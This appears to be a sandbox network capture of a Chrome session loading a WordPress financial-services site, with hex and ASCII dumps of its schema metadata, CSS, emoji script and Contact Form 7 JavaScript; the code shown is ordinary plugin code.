2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 74 70 73 3a 2f 2f 77 77 77 2e 62 66 6a 66 69 6e 61 6e 63 69 61 6c 2e 63 6f 6d 2f 23 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 7d 2c 22 64 61 74 65 50 75 62 6c 69 73 68 65 64 22 3a 22 32 30 32 34 2d 30 34 2d 30 39 54 31 39 3a 32 36 3a 34 32 2b 30 30 3a 30 30 22 2c 22 64 61 74 65 4d 6f 64 69 66 69 65 64 22 3a 22 32 30 32 34 2d 30 34 2d 30 39 54 31 39 3a 32 36 3a 34 32 2b 30 30 3a 30 30 22 2c 22 62 72 65 61 64 63 72 75 6d 62 22 3a 7b 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 66 6a 66 69 6e 61 6e 63 69 61 6c 2e 63 6f 6d 2f 77 68 61 74 2d 69 73 2d 74 68 65 2d 62 65 73 74 2d 6f 6e 6c 69 6e 65 2d 63 61 73 69 6e 6f 2d 77 65 62 73 69 74 65 73 2f 23 62 72 65 61 64 63 72 75 6d 62 22 7d 2c 22 69 6e 4c 61 6e 67 75 61 67 65 22 3a 22 65 6e 2d 55 53 22 2c Data Ascii: tps://www.bfjfinancial.com/#organization"},"datePublished":"2024-04-09T19:26:42+00:00","dateModified":"2024-04-09T19:26:42+00:00","breadcrumb":{"@id":"https://www.bfjfinancial.com/what-is-the-best-online-casino-websites/#breadcrumb"},"inLanguage":"en-US",
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 61 6e 63 69 61 6c 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 31 37 2f 30 36 2f 66 61 76 69 63 6f 6e 2d 31 2e 70 6e 67 22 2c 22 77 69 64 74 68 22 3a 38 30 2c 22 68 65 69 67 68 74 22 3a 34 35 2c 22 63 61 70 74 69 6f 6e 22 3a 22 42 46 4a 20 46 69 6e 61 6e 63 69 61 6c 20 47 72 6f 75 70 22 7d 2c 22 69 6d 61 67 65 22 3a 7b 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 66 6a 66 69 6e 61 6e 63 69 61 6c 2e 63 6f 6d 2f 23 2f 73 63 68 65 6d 61 2f 6c 6f 67 6f 2f 69 6d 61 67 65 2f 22 7d 2c 22 73 61 6d 65 41 73 22 3a 5b 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 62 66 6a 66 69 6e 61 6e 63 69 61 6c 22 2c 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6c 69 6e 6b 65 64 69 6e 2e 63 6f 6d 2f 63 6f Data Ascii: ancial.com/wp-content/uploads/2017/06/favicon-1.png","width":80,"height":45,"caption":"BFJ Financial Group"},"image":{"@id":"https://www.bfjfinancial.com/#/schema/logo/image/"},"sameAs":["https://www.facebook.com/bfjfinancial","https://www.linkedin.com/co
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 6c 65 20 41 6e 61 6c 79 74 69 63 73 20 62 79 20 45 78 61 63 74 4d 65 74 72 69 63 73 20 70 6c 75 67 69 6e 20 76 37 2e 32 35 2e 30 20 2d 20 55 73 69 6e 67 20 41 6e 61 6c 79 74 69 63 73 20 74 72 61 63 6b 69 6e 67 20 2d 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 65 78 61 63 74 6d 65 74 72 69 63 73 2e 63 6f 6d 2f 20 2d 2d 3e 0a 09 09 3c 21 2d 2d 20 4e 6f 74 65 3a 20 45 78 61 63 74 4d 65 74 72 69 63 73 20 69 73 20 6e 6f 74 20 63 75 72 72 65 6e 74 6c 79 20 63 6f 6e 66 69 67 75 72 65 64 20 6f 6e 20 74 68 69 73 20 73 69 74 65 2e 20 54 68 65 20 73 69 74 65 20 6f 77 6e 65 72 20 6e 65 65 64 73 20 74 6f 20 61 75 74 68 65 6e 74 69 63 61 74 65 20 77 69 74 68 20 47 6f 6f 67 6c 65 20 41 6e 61 6c 79 74 69 63 73 20 69 6e 20 74 68 65 20 45 78 61 63 74 4d 65 74 72 69 63 73 20 73 Data Ascii: le Analytics by ExactMetrics plugin v7.25.0 - Using Analytics tracking - https://www.exactmetrics.com/ -->... Note: ExactMetrics is not currently configured on this site. The site owner needs to authenticate with Google Analytics in the ExactMetrics s
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 75 66 65 30 66 5c 75 32 30 30 62 5c 75 32 36 61 37 5c 75 66 65 30 66 22 29 3f 21 31 3a 21 6e 28 65 2c 22 5c 75 64 38 33 63 5c 75 64 64 66 61 5c 75 64 38 33 63 5c 75 64 64 66 33 22 2c 22 5c 75 64 38 33 63 5c 75 64 64 66 61 5c 75 32 30 30 62 5c 75 64 38 33 63 5c 75 64 64 66 33 22 29 26 26 21 6e 28 65 2c 22 5c 75 64 38 33 63 5c 75 64 66 66 34 5c 75 64 62 34 30 5c 75 64 63 36 37 5c 75 64 62 34 30 5c 75 64 63 36 32 5c 75 64 62 34 30 5c 75 64 63 36 35 5c 75 64 62 34 30 5c 75 64 63 36 65 5c 75 64 62 34 30 5c 75 64 63 36 37 5c 75 64 62 34 30 5c 75 64 63 37 66 22 2c 22 5c 75 64 38 33 63 5c 75 64 66 66 34 5c 75 32 30 30 62 5c 75 64 62 34 30 5c 75 64 63 36 37 5c 75 32 30 30 62 5c 75 64 62 34 30 5c 75 64 63 36 32 5c 75 32 30 30 62 5c 75 64 62 34 30 5c 75 64 63 36 35 Data Ascii: ufe0f\u200b\u26a7\ufe0f")?!1:!n(e,"\ud83c\uddfa\ud83c\uddf3","\ud83c\uddfa\u200b\ud83c\uddf3")&&!n(e,"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f","\ud83c\udff4\u200b\udb40\udc67\u200b\udb40\udc62\u200b\udb40\udc65
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 43 61 6e 76 61 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 55 52 4c 26 26 55 52 4c 2e 63 72 65 61 74 65 4f 62 6a 65 63 74 55 52 4c 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 42 6c 6f 62 29 74 72 79 7b 76 61 72 20 65 3d 22 70 6f 73 74 4d 65 73 73 61 67 65 28 22 2b 66 2e 74 6f 53 74 72 69 6e 67 28 29 2b 22 28 22 2b 5b 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 73 29 2c 75 2e 74 6f 53 74 72 69 6e 67 28 29 2c 70 2e 74 6f 53 74 72 69 6e 67 28 29 5d 2e 6a 6f 69 6e 28 22 2c 22 29 2b 22 29 29 3b 22 2c 72 3d 6e 65 77 20 42 6c 6f 62 28 5b 65 5d 2c 7b 74 79 70 65 3a 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 7d 29 2c 61 3d 6e 65 77 20 57 6f 72 6b 65 72 28 55 52 4c 2e 63 72 65 61 74 65 4f 62 6a 65 63 74 55 52 Data Ascii: Canvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{var e="postMessage("+f.toString()+"("+[JSON.stringify(s),u.toString(),p.toString()].join(",")+"));",r=new Blob([e],{type:"text/javascript"}),a=new Worker(URL.createObjectUR
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 2d 62 6c 6f 63 6b 2d 6c 69 62 72 61 72 79 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 66 6a 66 69 6e 61 6e 63 69 61 6c 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 63 73 73 2f 64 69 73 74 2f 62 6c 6f 63 6b 2d 6c 69 62 72 61 72 79 2f 73 74 79 6c 65 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 34 61 31 32 34 65 30 39 30 64 37 65 65 39 36 35 66 37 35 66 31 31 64 65 65 31 34 33 31 31 37 64 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 73 74 79 6c 65 20 69 64 3d 27 77 70 2d 62 6c 6f 63 6b 2d 6c 69 62 72 61 72 79 2d 74 68 65 6d 65 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0a 2e 77 70 2d 62 6c 6f 63 6b 2d 61 75 64 69 6f 20 66 69 67 Data Ascii: -block-library-css' href='https://www.bfjfinancial.com/wp-includes/css/dist/block-library/style.min.css?ver=4a124e090d7ee965f75f11dee143117d' type='text/css' media='all' /><style id='wp-block-library-theme-inline-css' type='text/css'>.wp-block-audio fig
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 65 72 7b 63 6f 6c 6f 72 3a 63 75 72 72 65 6e 74 43 6f 6c 6f 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 31 32 35 65 6d 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 71 75 6f 74 65 2e 68 61 73 2d 74 65 78 74 2d 61 6c 69 67 6e 2d 72 69 67 68 74 7b 62 6f 72 64 65 72 2d 6c 65 66 74 3a 6e 6f 6e 65 3b 62 6f 72 64 65 72 2d 72 69 67 68 74 3a 2e 32 35 65 6d 20 73 6f 6c 69 64 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 31 65 6d 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 71 75 6f 74 65 2e 68 61 73 2d 74 65 78 74 2d 61 6c 69 67 6e 2d 63 65 6e 74 65 72 7b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 7d 2e 77 Data Ascii: er{color:currentColor;font-size:.8125em;font-style:normal;position:relative}.wp-block-quote.has-text-align-right{border-left:none;border-right:.25em solid;padding-left:0;padding-right:1em}.wp-block-quote.has-text-align-center{border:none;padding-left:0}.w
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 6c 6f 63 6b 2d 74 65 6d 70 6c 61 74 65 2d 70 61 72 74 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 70 61 64 64 69 6e 67 3a 31 2e 32 35 65 6d 20 32 2e 33 37 35 65 6d 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 73 74 79 6c 65 20 69 64 3d 27 63 6c 61 73 73 69 63 2d 74 68 65 6d 65 2d 73 74 79 6c 65 73 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0a 2f 2a 21 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 61 75 74 6f 2d 67 65 6e 65 72 61 74 65 64 20 2a 2f 0a 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 5f 5f 6c 69 6e 6b 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 33 32 33 37 33 63 3b 62 6f 72 64 Data Ascii: lock-template-part.has-background{margin-bottom:0;margin-top:0;padding:1.25em 2.375em}</style><style id='classic-theme-styles-inline-css' type='text/css'>/! This file is auto-generated /.wp-block-button__link{color:#fff;background-color:#32373c;bord

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49775	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:57 UTC	591	OUT	GET /wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=5.7 HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.bfjfinancial.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:57 UTC	726	IN	HTTP/1.1 200 OK Connection: close Content-Length: 10565 content-type: application/javascript x-fw-server: Flywheel/5.1.0 cache-control: public, max-age=31536000 referrer-policy: no-referrer-when-downgrade x-fw-version: 5.0.0 x-content-type-options: nosniff x-xss-protection: 1 etag: "65fc2203-2945" last-modified: Thu, 21 Mar 2024 12:03:15 GMT x-fw-hash: thumialfjs Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:57 GMT X-Served-By: cache-ewr18183-EWR, cache-ewr18143-EWR X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867697.180132,VS0,VE97 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 74 3d 7b 64 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 66 6f 72 28 76 61 72 20 69 20 69 6e 20 6e 29 74 2e 6f 28 6e 2c 69 29 26 26 21 74 2e 6f 28 65 2c 69 29 26 26 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 69 2c 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 67 65 74 3a 6e 5b 69 5d 7d 29 7d 2c 6f 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 74 2c 65 29 7d 2c 72 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 53 79 6d 62 6f 6c 2e 74 6f 53 Data Ascii: !function(){"use strict";var t={d:function(e,n){for(var i in n)t.o(n,i)&&!t.o(e,i)&&Object.defineProperty(e,i,{enumerable:!0,get:n[i]})},o:function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},r:function(t){"undefined"!=typeof Symbol&&Symbol.toS
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 6d 61 78 69 74 65 6d 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 68 7d 2c 6d 61 78 6c 65 6e 67 74 68 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 76 7d 2c 6d 61 78 6e 75 6d 62 65 72 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 78 7d 2c 6d 69 6e 64 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 79 7d 2c 6d 69 6e 66 69 6c 65 73 69 7a 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 41 7d 2c 6d 69 6e 69 74 65 6d 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 75 7d 2c 6d 69 6e 6c 65 6e 67 74 68 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 67 7d 2c 6d 69 6e 6e 75 6d 62 65 72 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 77 7d 2c 6e 75 6d 62 65 72 3a 66 75 Data Ascii: maxitems:function(){return h},maxlength:function(){return v},maxnumber:function(){return x},mindate:function(){return y},minfilesize:function(){return A},minitems:function(){return u},minlength:function(){return g},minnumber:function(){return w},number:fu
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 75 72 6e 21 31 3b 69 66 28 2f 28 3f 3a 5e 5b 20 5c 74 5c 6e 5c 72 5c 30 5c 78 30 42 2e 5d 7c 5b 20 5c 74 5c 6e 5c 72 5c 30 5c 78 30 42 2e 5d 24 29 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 21 31 3b 63 6f 6e 73 74 20 69 3d 6e 2e 73 70 6c 69 74 28 22 2e 22 29 3b 69 66 28 69 2e 6c 65 6e 67 74 68 3c 32 29 72 65 74 75 72 6e 21 31 3b 66 6f 72 28 63 6f 6e 73 74 20 74 20 6f 66 20 69 29 7b 69 66 28 2f 28 3f 3a 5e 5b 20 5c 74 5c 6e 5c 72 5c 30 5c 78 30 42 2d 5d 7c 5b 20 5c 74 5c 6e 5c 72 5c 30 5c 78 30 42 2d 5d 24 29 2f 2e 74 65 73 74 28 74 29 29 72 65 74 75 72 6e 21 31 3b 69 66 28 21 2f 5e 5b 61 2d 7a 30 2d 39 2d 5d 2b 24 2f 69 2e 74 65 73 74 28 74 29 29 72 65 74 75 72 6e 21 31 7d 72 65 74 75 72 6e 21 30 7d 29 29 29 74 68 72 6f 77 20 6e 65 77 20 73 28 74 68 Data Ascii: urn!1;if(/(?:^[ \t\n\r\0\x0B.]\|[ \t\n\r\0\x0B.]$)/.test(n))return!1;const i=n.split(".");if(i.length<2)return!1;for(const t of i){if(/(?:^[ \t\n\r\0\x0B-]\|[ \t\n\r\0\x0B-]$)/.test(t))return!1;if(!/^[a-z0-9-]+$/i.test(t))return!1}return!0})))throw new s(th
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 28 63 6f 6e 73 74 5b 73 2c 6f 5d 6f 66 28 28 29 3d 3e 7b 63 6f 6e 73 74 20 74 3d 6e 65 77 20 4d 61 70 3b 72 65 74 75 72 6e 20 74 2e 73 65 74 28 22 6a 70 67 7c 6a 70 65 67 7c 6a 70 65 22 2c 22 69 6d 61 67 65 2f 6a 70 65 67 22 29 2c 74 2e 73 65 74 28 22 67 69 66 22 2c 22 69 6d 61 67 65 2f 67 69 66 22 29 2c 74 2e 73 65 74 28 22 70 6e 67 22 2c 22 69 6d 61 67 65 2f 70 6e 67 22 29 2c 74 2e 73 65 74 28 22 62 6d 70 22 2c 22 69 6d 61 67 65 2f 62 6d 70 22 29 2c 74 2e 73 65 74 28 22 74 69 66 66 7c 74 69 66 22 2c 22 69 6d 61 67 65 2f 74 69 66 66 22 29 2c 74 2e 73 65 74 28 22 77 65 62 70 22 2c 22 69 6d 61 67 65 2f 77 65 62 70 22 29 2c 74 2e 73 65 74 28 22 69 63 6f 22 2c 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 29 2c 74 2e 73 65 74 28 22 68 65 69 63 22 2c 22 69 6d 61 Data Ascii: (const[s,o]of(()=>{const t=new Map;return t.set("jpg\|jpeg\|jpe","image/jpeg"),t.set("gif","image/gif"),t.set("png","image/png"),t.set("bmp","image/bmp"),t.set("tiff\|tif","image/tiff"),t.set("webp","image/webp"),t.set("ico","image/x-icon"),t.set("heic","ima
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 69 6f 6e 2f 70 64 66 22 29 2c 74 2e 73 65 74 28 22 73 77 66 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 73 68 6f 63 6b 77 61 76 65 2d 66 6c 61 73 68 22 29 2c 74 2e 73 65 74 28 22 63 6c 61 73 73 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 22 29 2c 74 2e 73 65 74 28 22 74 61 72 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 74 61 72 22 29 2c 74 2e 73 65 74 28 22 7a 69 70 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 7a 69 70 22 29 2c 74 2e 73 65 74 28 22 67 7a 7c 67 7a 69 70 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 67 7a 69 70 22 29 2c 74 2e 73 65 74 28 22 72 61 72 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 61 72 22 29 2c 74 2e 73 65 74 28 22 37 7a 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 37 7a 2d 63 6f 6d 70 Data Ascii: ion/pdf"),t.set("swf","application/x-shockwave-flash"),t.set("class","application/java"),t.set("tar","application/x-tar"),t.set("zip","application/zip"),t.set("gz\|gzip","application/x-gzip"),t.set("rar","application/rar"),t.set("7z","application/x-7z-comp
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 22 29 2c 74 2e 73 65 74 28 22 70 70 74 78 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 76 6e 64 2e 6f 70 65 6e 78 6d 6c 66 6f 72 6d 61 74 73 2d 6f 66 66 69 63 65 64 6f 63 75 6d 65 6e 74 2e 70 72 65 73 65 6e 74 61 74 69 6f 6e 6d 6c 2e 70 72 65 73 65 6e 74 61 74 69 6f 6e 22 29 2c 74 2e 73 65 74 28 22 70 70 74 6d 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 76 6e 64 2e 6d 73 2d 70 6f 77 65 72 70 6f 69 6e 74 2e 70 72 65 73 65 6e 74 61 74 69 6f 6e 2e 6d 61 63 72 6f 45 6e 61 62 6c 65 64 2e 31 32 22 29 2c 74 2e 73 65 74 28 22 70 70 73 78 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 76 6e 64 2e 6f 70 65 6e 78 6d 6c 66 6f 72 6d 61 74 73 2d 6f 66 66 69 63 65 64 6f 63 75 6d 65 6e 74 2e 70 72 65 73 65 6e 74 61 74 69 6f 6e 6d 6c 2e 73 6c 69 64 65 73 68 6f 77 22 29 2c Data Ascii: "),t.set("pptx","application/vnd.openxmlformats-officedocument.presentationml.presentation"),t.set("pptm","application/vnd.ms-powerpoint.presentation.macroEnabled.12"),t.set("ppsx","application/vnd.openxmlformats-officedocument.presentationml.slideshow"),
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 65 2e 6e 75 6d 62 65 72 73 22 29 2c 74 2e 73 65 74 28 22 70 61 67 65 73 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 76 6e 64 2e 61 70 70 6c 65 2e 70 61 67 65 73 22 29 2c 74 7d 29 28 29 29 28 22 2a 22 3d 3d 3d 69 26 26 6f 2e 73 74 61 72 74 73 57 69 74 68 28 74 2b 22 2f 22 29 7c 7c 6f 3d 3d 3d 6e 5b 30 5d 29 26 26 65 2e 70 75 73 68 28 2e 2e 2e 73 2e 73 70 6c 69 74 28 22 7c 22 29 29 7d 72 65 74 75 72 6e 20 65 7d 29 28 65 29 2e 73 6f 6d 65 28 28 65 3d 3e 28 65 3d 22 2e 22 2b 65 2e 74 72 69 6d 28 29 2c 74 2e 6e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 65 6e 64 73 57 69 74 68 28 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 29 29 29 29 29 29 29 29 74 68 72 6f 77 20 6e 65 77 20 73 28 74 68 69 73 29 7d 2c 6d 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b Data Ascii: e.numbers"),t.set("pages","application/vnd.apple.pages"),t})())("*"===i&&o.startsWith(t+"/")\|\|o===n[0])&&e.push(...s.split("\|"))}return e})(e).some((e=>(e="."+e.trim(),t.name.toLowerCase().endsWith(e.toLowerCase())))))))))throw new s(this)},m=function(t){
2024-04-11 20:34:57 UTC	919	IN	Data Raw: 2f 5e 5b 30 2d 39 5d 7b 34 2c 7d 2d 5b 30 2d 39 5d 7b 32 7d 2d 5b 30 2d 39 5d 7b 32 7d 24 2f 2e 74 65 73 74 28 74 68 69 73 2e 74 68 72 65 73 68 6f 6c 64 29 26 26 74 68 69 73 2e 74 68 72 65 73 68 6f 6c 64 3c 74 29 29 29 29 29 74 68 72 6f 77 20 6e 65 77 20 73 28 74 68 69 73 29 7d 2c 41 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 63 6f 6e 73 74 20 65 3d 74 2e 67 65 74 41 6c 6c 28 74 68 69 73 2e 66 69 65 6c 64 29 3b 6c 65 74 20 6e 3d 30 3b 69 66 28 65 2e 66 6f 72 45 61 63 68 28 28 74 3d 3e 7b 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 46 69 6c 65 26 26 28 6e 2b 3d 74 2e 73 69 7a 65 29 7d 29 29 2c 6e 3c 70 61 72 73 65 49 6e 74 28 74 68 69 73 2e 74 68 72 65 73 68 6f 6c 64 29 29 74 68 72 6f 77 20 6e 65 77 20 73 28 74 68 69 73 29 7d 2c 7a 3d 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: /^[0-9]{4,}-[0-9]{2}-[0-9]{2}$/.test(this.threshold)&&this.threshold<t)))))throw new s(this)},A=function(t){const e=t.getAll(this.field);let n=0;if(e.forEach((t=>{t instanceof File&&(n+=t.size)})),n<parseInt(this.threshold))throw new s(this)},z=function(t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49777	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:57 UTC	587	OUT	GET /wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.7 HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.bfjfinancial.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:34:57 UTC	726	IN	HTTP/1.1 200 OK Connection: close Content-Length: 12652 referrer-policy: no-referrer-when-downgrade x-fw-server: Flywheel/5.1.0 content-type: application/javascript x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-content-type-options: nosniff etag: "65fc2227-316c" last-modified: Thu, 21 Mar 2024 12:03:51 GMT cache-control: public, max-age=31536000 x-xss-protection: 1 Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:34:57 GMT X-Served-By: cache-ewr18123-EWR, cache-ewr18146-EWR X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867697.261526,VS0,VE67 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:34:57 UTC	1378	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 63 6f 6e 73 74 20 65 3d 65 3d 3e 4d 61 74 68 2e 61 62 73 28 70 61 72 73 65 49 6e 74 28 65 2c 31 30 29 29 2c 74 3d 28 65 2c 74 29 3d 3e 7b 63 6f 6e 73 74 20 61 3d 6e 65 77 20 4d 61 70 28 5b 5b 22 69 6e 69 74 22 2c 22 69 6e 69 74 22 5d 2c 5b 22 76 61 6c 69 64 61 74 69 6f 6e 5f 66 61 69 6c 65 64 22 2c 22 69 6e 76 61 6c 69 64 22 5d 2c 5b 22 61 63 63 65 70 74 61 6e 63 65 5f 6d 69 73 73 69 6e 67 22 2c 22 75 6e 61 63 63 65 70 74 65 64 22 5d 2c 5b 22 73 70 61 6d 22 2c 22 73 70 61 6d 22 5d 2c 5b 22 61 62 6f 72 74 65 64 22 2c 22 61 62 6f 72 74 65 64 22 5d 2c 5b 22 6d 61 69 6c 5f 73 65 6e 74 22 2c 22 73 65 6e 74 22 5d 2c 5b 22 6d 61 69 6c 5f 66 61 69 6c 65 64 22 2c 22 66 61 69 6c 65 64 22 5d Data Ascii: !function(){"use strict";const e=e=>Math.abs(parseInt(e,10)),t=(e,t)=>{const a=new Map([["init","init"],["validation_failed","invalid"],["acceptance_missing","unaccepted"],["spam","spam"],["aborted","aborted"],["mail_sent","sent"],["mail_failed","failed"]
